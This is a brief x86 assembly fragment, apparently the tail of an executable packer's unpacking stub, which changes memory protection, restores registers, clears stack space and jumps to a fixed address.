push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130